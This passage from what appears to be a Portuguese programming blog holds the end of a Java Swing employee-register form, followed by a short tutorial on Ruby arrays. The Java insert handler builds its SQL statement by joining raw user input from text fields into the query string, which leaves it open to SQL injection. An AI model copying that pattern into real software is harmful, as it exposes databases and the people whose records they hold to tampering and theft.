        painelAcao.add(inserir);
        painelAcao.add(alterar);
        painelAcao.add(deletar);

        // Adiciona paineis
        painel.add(painelPesquisa);
        painel.add(painelDados);
        painel.add(painelAcao);

        return painel;
    }

    // Clique do botão de pesquisa
    public void actionPerformed(ActionEvent arg0) {

        // Verifica pesquisa
        if (arg0.getSource() == botao) {

            // Cria instancia de objeto
            MinhaView campos = new MinhaView();

            // retorna result de dados
            try {
                ResultSet dados = campos.retornaFuncionarioId(tpesquisa
                        .getText());
                ltitulo.setText("Database -  Cadastro de Funcionário - " + bconexao);

                // Preenche campos da tela
                while (dados.next()) {
                    tid.setText(dados.getString("ID_FUNCIONARIO"));
                    tpnome.setText(dados.getString("NOME"));
                    tsnome.setText(dados.getString("SOBRENOME"));
                    tcargo.setText(dados.getString("CARGO"));
                    tsalario.setText(dados.getString("SALARIO"));
                    tporcentagem.setText(dados.getString("PORCENTAGEM"));
                }

            } catch (SQLException e) {
                e.printStackTrace();
            }
        }

        // Botão Novo
        if (arg0.getSource() == novo) {
            tid.setText(null);
            tpnome.setText(null);
            tsnome.setText(null);
            tcargo.setText(null);
            tsalario.setText(null);
            tporcentagem.setText(null);

            javax.swing.SwingUtilities.invokeLater(new Runnable() {
                public void run() {
                    tid.requestFocus();
                }
            });

        }

        // Insere dados
        if (arg0.getSource() == inserir) {
            String sql = "Insert into CadFuncionario "
                    + " (ID_FUNCIONARIO, NOME, SOBRENOME, CARGO, SALARIO, PORCENTAGEM) "
                    + "values (" + tid.getText() + ", " + "\'"
                    + tpnome.getText() + "\', " + "\'" + tsnome.getText()
                    + "\', " + "\'" + tcargo.getText() + "\', "
                    + tsalario.getText() + ", "
                    + tporcentagem.getText() + ")";

            try {
                query.execute(sql);
                JOptionPane.showMessageDialog(menssagem,
                        "Dados inserido com sucesso!");
            } catch (SQLException e) {
                JOptionPane.showMessageDialog(menssagem, e.toString());
                e.printStackTrace();
            }

        }

        // Altera dados
        if (arg0.getSource() == alterar) {

        	// TODO: Criar uma Trigger como evento INSTEAD OF UPDATE

        }

        // Deleta dados
        if (arg0.getSource() == deletar) {

        	// TODO: Criar uma Trigger com o evento INSTEAD OF DELETE
        }
    }

    public static void criaGUI() {
        // Cria formulario
        JFrame formulario = new JFrame("Desenvolvimento Aberto");
        formulario.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

        // cria painel de conteudo
        MinhaView acesso = new MinhaView();
        // conecta ao banco de dados defindo
        // mude a variavel bconexao para escolher o banco de dados
        // importe os drivers para o projeto
        // oracle = ORACLE
        // db2 = IBM DB2
        // mssql = MSSQL Server

        bconexao = "mssql";
        acesso.conectar(bconexao);
        formulario.setContentPane(acesso.criaPainel());

        // Exibe o formulario
        formulario.setSize(400, 450);
        formulario.setVisible(true);

    }

    public static void main(String[] args) {

        javax.swing.SwingUtilities.invokeLater(new Runnable() {

            @Override
            public void run() {

                // Mostra GUI
                criaGUI();

            }
        });

    }

}

Ruby – Data Type – Array – Linux

Publicado: 11 de agosto de 2014 em Ruby on Rails

Como sabemos Ruby é uma linguagem de programação puramente orientada a objeto, então um Array em Ruby é um objeto pertencente a classe Array. A matriz é muito parecida com um objeto da classe Hash, entretanto um objeto Array é uma coleção indexada por números inteiros.

Um Array é um objeto muito rico em recursos por este motivo é recomendado utilizar os links oficias para saber mais detalhes sobre este objeto: Classe Array.

Ruby - Array

Ruby – Array

Exemplo:

Neste exemplo utilizamos o objeto da classe Array e alguns de seus métodos.

Ruby

#!/usr/bin/env ruby
# Desenvolvimento Aberto
# Arrays.rb

# Declara um array
matriz = ["Nirvana", "Alice in Chains", "Pearl Jam", "Screaming Trees"]

# Imprime o Array
matriz.each do |conteudo|
  puts conteudo
end

puts "\nDeleta um item do array"
matriz.delete("Pearl Jam")
matriz.each do |conteudo|
  puts conteudo
end

puts "\nRetira o ultimo elemento da array"
matriz.pop
matriz.each do |conteudo|
  puts conteudo
end

puts "\nInclui um item ao array"
matriz << "MudHoney"
matriz.each do |conteudo|
  puts conteudo
end